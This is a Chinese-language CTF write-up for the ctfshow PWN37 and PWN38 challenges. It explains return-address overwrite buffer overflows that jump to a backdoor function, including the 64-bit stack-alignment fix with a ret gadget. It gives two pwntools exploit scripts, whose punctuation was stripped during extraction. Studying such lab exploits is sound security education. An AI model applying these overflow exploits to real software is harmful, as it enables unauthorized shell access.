ctfshow PWN37、PWN38详细题解 一.PWN37先用checksec查一下发现开启了NX保护但其实对于这道题没啥影响我们进入IDA和之前的题目一样还是ctfshow函数中存在溢出漏洞覆盖返回地址所需长度为0x120x40x1622在题目中提示说留给了我们一个32位的system后门函数那我们只需要把它给找到就行了实际上也很好找就是左侧函数列表里面的backdoor函数由于这道题目跟上一道一样都是no PIE,因此我们直接硬编码地址即可from pwn import* ioremote(pwn.challenge.ctf.show,28244) elfELF(./pwn37) payloadba*22p32(elf.sym[backdoor]) io.sendline(payload) io.interactive()运行脚本即可拿到flag如下二.PWN38先用checksec看一下除了由32位变成64位以外剩下的和上一题都是一样的再看一下IDA可以发现溢出漏洞后门函数跟上一题都是类似的但是我们不能直接沿用上一题的脚本把32位换成64位然后填充字符数量改一改就结束了如果我们这么做是拿不到shell的原因就出自于64位架构下存在着栈平衡问题在64位linux中调用system、printf等函数时必须要求RSP的值是16位对齐的也就是RSP%160,如果没有对齐的话CPU会抛出异常导致程序崩溃当进入ctfshow函数的时候RSP是对齐的当它执行ret指令的时候RSP增加了8这时候还差8才能对齐因此为了保证对齐我们需要在跳转到后门函数之前再跳转一个ret指令这个指令的作用就是从栈上弹出一个8字节值并跳转payload修正如下from pwn import* ioremote(pwn.challenge.ctf.show,28140) elfELF(./pwn38) ropROP(elf) ret_addrrop.find_gadget([ret])[0] payloadba*18p64(ret_addr)p64(elf.sym[backdoor]) io.sendline(payload) io.interactive运行脚本即可拿到flag: